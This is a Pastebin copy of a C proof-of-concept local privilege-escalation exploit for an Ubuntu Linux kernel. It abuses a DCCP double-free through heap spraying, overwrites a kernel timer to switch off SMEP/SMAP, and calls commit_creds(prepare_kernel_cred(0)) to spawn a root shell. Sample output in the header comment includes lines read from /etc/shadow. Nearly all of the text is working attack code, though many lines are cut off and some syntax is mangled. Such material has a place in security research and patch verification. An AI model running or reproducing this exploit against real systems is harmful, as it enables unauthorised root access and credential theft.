Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //
- // EDB Note: More information ~ http://seclist
- //
- // A proof-of-concept local root exploit for C
- // Includes a semireliable SMAP/SMEP bypass.
- // Tested on 4.4.0-62-generic #83-Ubuntu kerne
- // https://github.com/xairy/kernel-exploits/tr
- //
- // Usage:
- // $ gcc poc.c -o pwn
- // $ ./pwn
- // [.] namespace sandbox setup successfully
- // [.] disabling SMEP & SMAP
- // [.] scheduling 0xffffffff81064550(0x406e0)
- // [.] waiting for the timer to execute
- // [.] done
- // [.] SMEP & SMAP should be off now
- // [.] getting root
- // [.] executing 0x402043
- // [.] done
- // [.] should be root now
- // [.] checking if we got root
- // [+] got r00t ^_^
- // [!] don't kill the exploit binary, the kern
- // # cat /etc/shadow
- // ...
- // daemon:*:17149:0:99999:7:::
- // bin:*:17149:0:99999:7:::
- // sys:*:17149:0:99999:7:::
- // sync:*:17149:0:99999:7:::
- // games:*:17149:0:99999:7:::
- // ...
- //
- // Andrey Konovalov <andreyknvl@gmail.com>
- #define _GNU_SOURCE
- #include <errno.h>
- #include <fcntl.h>
- #include <stdarg.h>
- #include <stdbool.h>
- #include <stddef.h>
- #include <stdint.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sched.h>
- #include <sys/socket.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <arpa/inet.h>
- #include <linux/if_packet.h>
- #include <netinet/if_ether.h>
- #define SMEP_SMAP_BYPASS 1
- // Needed for local root.
- #define COMMIT_CREDS 0xffffffff810a2840
- #define PREPARE_KERNEL_CRED 0xffffffff810a2c30
- #define SHINFO_OFFSET 1728
- // Needed for SMEP_SMAP_BYPASS.
- #define NATIVE_WRITE_CR4 0xffffffff81064550
- #define CR4_DESIRED_VALUE 0x406e0ul
- #define TIMER_OFFSET (728 + 48 + 104)
- #define KMALLOC_PAD 128
- #define KMALLOC_WARM 32
- #define CATCH_FIRST 6
- #define CATCH_AGAIN 16
- #define CATCH_AGAIN_SMALL 64
- // Port is incremented on each use.
- static int port = 11000;
- void debug( const char *msg) {
- /*
- char buffer[32];
- snprintf(&buffer[0], sizeof(buffer), "echo
- system(buffer);
- */
- }
- // * * * * * * * * * * * * * * Kernel structs
- struct ubuf_info {
- uint64_t callback; // void (*callback
- uint64_t ctx; // void *
- uint64_t desc; // unsigned long
- };
- struct skb_shared_info {
- uint8_t nr_frags; // unsigned char
- uint8_t tx_flags; // __u8
- uint16_t gso_size; // unsigned short
- uint16_t gso_segs; // unsigned short
- uint16_t gso_type; // unsigned short
- uint64_t frag_list; // struct sk_buff
- uint64_t hwtstamps; // struct skb_shar
- uint32_t tskey; // u32
- uint32_t ip6_frag_id; // __be32
- uint32_t dataref; // atomic_t
- uint64_t destructor_arg; // void *
- uint8_t frags[16][17]; // skb_frag_t
- };
- struct ubuf_info ui;
- void init_skb_buffer( char * buffer, void *func)
- memset (&buffer[0], 0, 2048);
- struct skb_shared_info *ssi = ( struct skb_
- ssi->tx_flags = 0xff;
- ssi->destructor_arg = (uint64_t)&ui;
- ssi->nr_frags = 0;
- ssi->frag_list = 0;
- ui.callback = (unsigned long)func;
- }
- struct timer_list {
- void *next;
- void *prev;
- unsigned long expires;
- void (*function)(unsigned long );
- unsigned long data;
- unsigned int flags;
- int slack;
- };
- void init_timer_buffer( char* buffer, void *fun
- memset (&buffer[0], 0, 2048);
- struct timer_list* timer = ( struct timer_l
- timer->next = 0;
- timer->prev = 0;
- timer->expires = 4294943360;
- timer->function = func;
- timer->data = arg;
- timer->flags = 1;
- timer->slack = -1;
- }
- // * * * * * * * * * * * * * * * Trigger * *
- struct dccp_handle {
- struct sockaddr_in6 sa;
- int s1;
- int s2;
- };
- void dccp_init( struct dccp_handle *handle, int
- handle->sa.sin6_family = AF_INET6;
- handle->sa.sin6_port = htons(port);
- inet_pton(AF_INET6, "::1" , &handle->sa.sin
- handle->sa.sin6_flowinfo = 0;
- handle->sa.sin6_scope_id = 0;
- handle->s1 = socket(PF_INET6, SOCK_DCCP, I
- if (handle->s1 == -1) {
- perror ( "socket(SOCK_DCCP)" );
- exit(EXIT_FAILURE);
- }
- int rv = bind(handle->s1, &handle->sa, siz
- if (rv != 0) {
- perror ( "bind()" );
- exit(EXIT_FAILURE);
- }
- rv = listen(handle->s1, 0x9);
- if (rv != 0) {
- perror ( "listen()" );
- exit(EXIT_FAILURE);
- }
- int optval = 8;
- rv = setsockopt(handle->s1, IPPROTO_IPV6,
- &optval, sizeof (optval));
- if (rv != 0) ;
- perror ( "setsockopt(IPV6_RECVPKTINFO)" )
- exit(EXIT_FAILURE);
- }
- handle->s2 = socket(PF_INET6, SOCK_DCCP, I
- if (handle->s1 == -1) {
- perror ( "socket(SOCK_DCCP)" );
- exit(EXIT_FAILURE);
- }
- }
- void dccp_kmalloc_kfree( struct dccp_handle *ha
- int rv = connect(handle->s2, &handle->sa,
- if (rv != 0) {
- perror ( "connect(SOCK_DCCP)" );
- exit(EXIT_FAILURE);
- }
- }
- void dccp_kfree_again( struct dccp_handle *hand
- int rv = shutdown(handle->s1, SHUT_RDWR);
- if (rv != 0) {
- perror ( "shutdown(SOCK_DCCP)" );
- exit(EXIT_FAILURE);
- }
- }
- void dccp_destroy( struct dccp_handle *handle)
- close(handle->s1);
- close(handle->s2);
- }
- // * * * * * * * * * * * * * * Heap spraying *
- struct udp_fifo_handle {
- int fds[2];
- };
- void udp_fifo_init( struct udp_fifo_handle* han
- int rv = socketpair(AF_LOCAL, SOCK_DGRAM,
- if (rv != 0) {
- perror ( "socketpair()" );
- exit(EXIT_FAILURE);
- }
- }
- void udp_fifo_destroy( struct udp_fifo_handle*
- close(handle->fds[0]);
- close(handle->fds[1]);
- }
- void udp_fifo_kmalloc( struct udp_fifo_handle*
- int rv = send(handle->fds[0], buffer, 1536
- if (rv != 1536) {
- perror ( "send()" );
- exit(EXIT_FAILURE);
- }
- }
- void udp_fifo_kmalloc_small( struct udp_fifo_ha
- char buffer[128];
- int rv = send(handle->fds[0], &buffer[0],
- if (rv != 128) {
- perror ( "send()" );
- exit(EXIT_FAILURE);
- }
- }
- void udp_fifo_kfree( struct udp_fifo_handle* ha
- char buffer[2048];
- int rv = recv(handle->fds[1], &buffer[0],
- if (rv != 1536) {
- perror ( "recv()" );
- exit(EXIT_FAILURE);
- }
- }
- int timer_kmalloc() {
- int s = socket(AF_PACKET, SOCK_DGRAM, hton
- if (s == -1) {
- perror ( "socket(SOCK_DGRAM)" );
- exit(EXIT_FAILURE);
- }
- return s;
- }
- #define CONF_RING_FRAMES 1
- void timer_schedule( int handle, int timeout) {
- int optval = TPACKET_V3;
- int rv = setsockopt(handle, SOL_PACKET, PA
- &optval, sizeof (optval));
- if (rv != 0) {
- perror ( "setsockopt(PACKET_VERSION)" );
- exit(EXIT_FAILURE);
- }
- struct tpacket_req3 tp;
- memset (&tp, 0, sizeof (tp));
- tp.tp_block_size = CONF_RING_FRAMES * getp
- tp.tp_block_nr = 1;
- tp.tp_frame_size = getpagesize();
- tp.tp_frame_nr = CONF_RING_FRAMES;
- tp.tp_retire_blk_tov = timeout;
- rv = setsockopt(handle, SOL_PACKET, PACKET
- (void *)&tp, sizeof (tp));
- if (rv != 0) {
- perror ( "setsockopt(PACKET_RX_RING)" );
- exit(EXIT_FAILURE);
- }
- }
- void socket_sendmmsg( int sock, char *buffer) {
- struct mmsghdr msg[1];
- msg[0].msg_hdr.msg_iovlen = 0;
- // Buffer to kmalloc.
- msg[0].msg_hdr.msg_control = &buffer[0];
- msg[0].msg_hdr.msg_controllen = 2048;
- // Make sendmmsg exit easy with EINVAL.
- msg[0].msg_hdr.msg_name = "root" ;
- msg[0].msg_hdr.msg_namelen = 1;
- int rv = syscall(__NR_sendmmsg, sock, msg,
- if (rv == -1 && errno != EINVAL) {
- perror ( "[-] sendmmsg()" );
- exit(EXIT_FAILURE);
- }
- }
- void sendmmsg_kmalloc_kfree( int port, char *bu
- int sock[2];
- int rv = socketpair(AF_LOCAL, SOCK_DGRAM,
- if (rv != 0) {
- perror ( "socketpair()" );
- exit(EXIT_FAILURE);
- }
- socket_sendmmsg(sock[0], buffer);
- close(sock[0]);
- }
- // * * * * * * * * * * * * * * Heap warming *
- void dccp_connect_pad( struct dccp_handle *hand
- handle->sa.sin6_family = AF_INET6;
- handle->sa.sin6_port = htons(port);
- inet_pton(AF_INET6, "::1" , &handle->sa.sin
- handle->sa.sin6_flowinfo = 0;
- handle->sa.sin6_scope_id = 0;
- handle->s1 = socket(PF_INET6, SOCK_DCCP, I
- if (handle->s1 == -1) {
- perror ( "socket(SOCK_DCCP)" );
- exit(EXIT_FAILURE);
- }
- int rv = bind(handle->s1, &handle->sa, siz
- if (rv != 0) {
- perror ( "bind()" );
- exit(EXIT_FAILURE);
- }
- rv = listen(handle->s1, 0x9);
- if (rv != 0) {
- perror ( "listen()" );
- exit(EXIT_FAILURE);
- }
- handle->s2 = socket(PF_INET6, SOCK_DCCP, I
- if (handle->s1 == -1) {
- perror ( "socket(SOCK_DCCP)" );
- exit(EXIT_FAILURE);
- }
- rv = connect(handle->s2, &handle->sa, size
- if (rv != 0) {
- perror ( "connect(SOCK_DCCP)" );
- exit(EXIT_FAILURE);
- }
- }
- void dccp_kmalloc_pad() {
- int i;
- struct dccp_handle handle;
- for (i = 0; i < 4; i++) {
- dccp_connect_pad(&handle, port++);
- }
- }
- void timer_kmalloc_pad() {
- int i;
- for (i = 0; i < 4; i++) {
- socket(AF_PACKET, SOCK_DGRAM, htons(ET
- }
- }
- void udp_kmalloc_pad() {
- int i, j;
- char dummy[2048];
- struct udp_fifo_handle uh[16];
- for (i = 0; i < KMALLOC_PAD / 16; i++) {
- udp_fifo_init(&uh[i]);
- for (j = 0; j < 16; j++)
- udp_fifo_kmalloc(&uh[i], &dummy[0]
- }
- }
- void kmalloc_pad() {
- debug( "dccp kmalloc pad" );
- dccp_kmalloc_pad();
- debug( "timer kmalloc pad" );
- timer_kmalloc_pad();
- debug( "udp kmalloc pad" );
- udp_kmalloc_pad();
- }
- void udp_kmalloc_warm() {
- int i, j;
- char dummy[2048];
- struct udp_fifo_handle uh[16];
- for (i = 0; i < KMALLOC_WARM / 16; i++) {
- udp_fifo_init(&uh[i]);
- for (j = 0; j < 16; j++)
- udp_fifo_kmalloc(&uh[i], &dummy[0]
- }
- for (i = 0; i < KMALLOC_WARM / 16; i++) {
- for (j = 0; j < 16; j++)
- udp_fifo_kfree(&uh[i]);
- }
- }
- void kmalloc_warm() {
- udp_kmalloc_warm();
- }
- // * * * * * * * * * * * * * Disabling SMEP/SM
- // Executes func(arg) from interrupt context m
- void kernel_exec_irq( void *func, unsigned long
- int i;
- struct dccp_handle dh;
- struct udp_fifo_handle uh1, uh2, uh3, uh4;
- char dummy[2048];
- char buffer[2048];
- printf ("[.] scheduling %p(%p)\n" , func, ( v
- memset (&dummy[0], 0xc3, 2048);
- init_timer_buffer(&buffer[0], func, arg);
- udp_fifo_init(&uh1);
- udp_fifo_init(&uh2);
- udp_fifo_init(&uh3);
- udp_fifo_init(&uh4);
- debug( "kmalloc pad" );
- kmalloc_pad();
- debug( "kmalloc warm" );
- kmalloc_warm();
- debug( "dccp init" );
- dccp_init(&dh, port++);
- debug( "dccp kmalloc kfree" );
- dccp_kmalloc_kfree(&dh);
- debug( "catch 1" );
- for (i = 0; i < CATCH_FIRST; i++)
- udp_fifo_kmalloc(&uh1, &dummy[0]);
- debug( "dccp kfree again" );
- dccp_kfree_again(&dh);
- debug( "catch 2" );
- for (i = 0; i < CATCH_FIRST; i++)
- udp_fifo_kmalloc(&uh2, &dummy[0]);
- int timers[CATCH_FIRST];
- debug( "catch 1 -> timer" );
- for (i = 0; i < CATCH_FIRST; i++) {
- udp_fifo_kfree(&uh1);
- timers[i] = timer_kmalloc();
- }
- debug( "catch 1 small" );
- for (i = 0; i < CATCH_AGAIN_SMALL; i++)
- udp_fifo_kmalloc_small(&uh4);
- debug( "schedule timers" );
- for (i = 0; i < CATCH_FIRST; i++)
- timer_schedule(timers[i], 500);
- debug( "catch 2 -> overwrite timers" );
- for (i = 0; i < CATCH_FIRST; i++) {
- udp_fifo_kfree(&uh2);
- udp_fifo_kmalloc(&uh3, &buffer[0]);
- }
- debug( "catch 2 small" );
- for (i = 0; i < CATCH_AGAIN_SMALL; i++)
- udp_fifo_kmalloc_small(&uh4);
- printf ("[.] waiting for the timer to execu
- debug( "wait" );
- sleep(1);
- printf ("[.] done\n" );
- }
- void disable_smep_smap() {
- printf ("[.] disabling SMEP & SMAP\n" );
- kernel_exec_irq(( void *)NATIVE_WRITE_CR4,
- printf ("[.] SMEP & SMAP should be off now\
- }
- // * * * * * * * * * * * * * * * Getting root
- // Executes func() from process context.
- void kernel_exec( void *func) {
- int i;
- struct dccp_handle dh;
- struct udp_fifo_handle uh1, uh2, uh3;
- char dummy[2048];
- char buffer[2048];
- printf ("[.] executing %p\n" , func);
- memset (&dummy[0], 0, 2048);
- init_skb_buffer(&buffer[0], func);
- udp_fifo_init(&uh1);
- udp_fifo_init(&uh2);
- udp_fifo_init(&uh3);
- debug( "kmalloc pad" );
- kmalloc_pad();
- debug( "kmalloc warm" );
- kmalloc_warm();
- debug( "dccp init" );
- dccp_init(&dh, port++);
- debug( "dccp kmalloc kfree" );
- dccp_kmalloc_kfree(&dh);
- debug( "catch 1" );
- for (i = 0; i < CATCH_FIRST; i++)
- udp_fifo_kmalloc(&uh1, &dummy[0]);
- debug( "dccp kfree again:" );
- dccp_kfree_again(&dh);
- debug( "catch 2" );
- for (i = 0; i < CATCH_FIRST; i++)
- udp_fifo_kmalloc(&uh2, &dummy[0]);
- debug( "catch 1 -> overwrite" );
- for (i = 0; i < CATCH_FIRST; i++) {
- udp_fifo_kfree(&uh1);
- sendmmsg_kmalloc_kfree(port++, &buffer
- }
- debug( "catch 2 -> free & trigger" );
- for (i = 0; i < CATCH_FIRST; i++)
- udp_fifo_kfree(&uh2);
- debug( "catch 1 & 2" );
- for (i = 0; i < CATCH_AGAIN; i++)
- udp_fifo_kmalloc(&uh3, &dummy[0]);
- printf ("[.] done\n" );
- }
- typedef int __attribute__((regparm(3))) (* _co
- typedef unsigned long __attribute__((regparm(3
- _commit_creds commit_creds = (_commit_creds)CO
- _prepare_kernel_cred prepare_kernel_cred = (_p
- void get_root_payload( void) {
- commit_creds(prepare_kernel_cred(0));
- }
- void get_root() {
- printf ("[.] getting root\n" );
- kernel_exec(&get_root_payload);
- printf ("[.] should be root now\n" );
- }
- // * * * * * * * * * * * * * * * * * Main * *
- void exec_shell() {
- char *shell = "/bin/bash" ;
- char *args[] = {shell, "-i" , NULL};
- execve(shell, args, NULL);
- }
- void fork_shell() {
- pid_t rv;
- rv = fork();
- if (rv == -1) {
- perror ( "fork()" );
- exit(EXIT_FAILURE);
- }
- if (rv == 0) {
- exec_shell();
- }
- }
- bool is_root() {
- // We can't simple check uid, since we're
- // with uid set to 0. Try opening /etc/sha
- int fd = open( "/etc/shadow" , O_RDONLY);
- if (fd == -1)
- return false;
- close(fd);
- return true;
- }
- void check_root() {
- printf ("[.] checking if we got root\n" );
- if (!is_root()) {
- printf ( "[-] something went wrong =(\n"
- printf ( "[!] don't kill the exploit bin
- return ;
- }
- printf ("[+] got r00t ^_^\n" );
- printf ("[!] don't kill the exploit binary,
- // Fork and exec instead of just doing the
- // skbuffs and prevent crashes due to a al
- fork_shell();
- }
- static bool write_file( const char* file, const
- {
- char buf[1024];
- va_list args;
- va_start (args, what);
- vsnprintf(buf, sizeof (buf), what, args);
- va_end (args);
- buf[ sizeof (buf) - 1] = 0;
- int len = strlen (buf);
- int fd = open(file, O_WRONLY | O_CLOEXEC);
- if (fd == -1)
- return false;
- if (write(fd, buf, len) != len) {
- close(fd);
- return false;
- }
- close(fd);
- return true;
- }
- void setup_sandbox() {
- int real_uid = getuid();
- int real_gid = getgid();
- if (unshare(CLONE_NEWUSER) != 0) {
- perror ( "unshare(CLONE_NEWUSER)" );
- exit(EXIT_FAILURE);
- }
- if (unshare(CLONE_NEWNET) != 0) {
- perror ( "unshare(CLONE_NEWUSER)" );
- exit(EXIT_FAILURE);
- }
- if (!write_file( "/proc/self/setgroups" , "d
- perror ( "write_file(/proc/self/set_grou
- exit(EXIT_FAILURE);
- }
- if (!write_file( "/proc/self/uid_map" , "0 %
- perror ( "write_file(/proc/self/uid_map)
- exit(EXIT_FAILURE);
- }
- if (!write_file( "/proc/self/gid_map" , "0 %
- perror ( "write_file(/proc/self/gid_map)
- exit(EXIT_FAILURE);
- }
- cpu_set_t my_set;
- CPU_ZERO(&my_set);
- CPU_SET(0, &my_set);
- if (sched_setaffinity(0, sizeof (my_set), &
- perror ( "sched_setaffinity()" );
- exit(EXIT_FAILURE);
- }
- if (system ( "/sbin/ifconfig lo up" ) != 0) {
- perror ( "system(/sbin/ifconfig lo up)" )
- exit(EXIT_FAILURE);
- }
- printf ("[.] namespace sandbox setup succes
- }
- int main() {
- setup_sandbox();
- #if SMEP_SMAP_BYPASS
- disable_smep_smap();
- #endif
- get_root();
- check_root();
- while (true) {
- sleep(100);
- }
- return 0;
Add Comment
Please, Sign In to add comment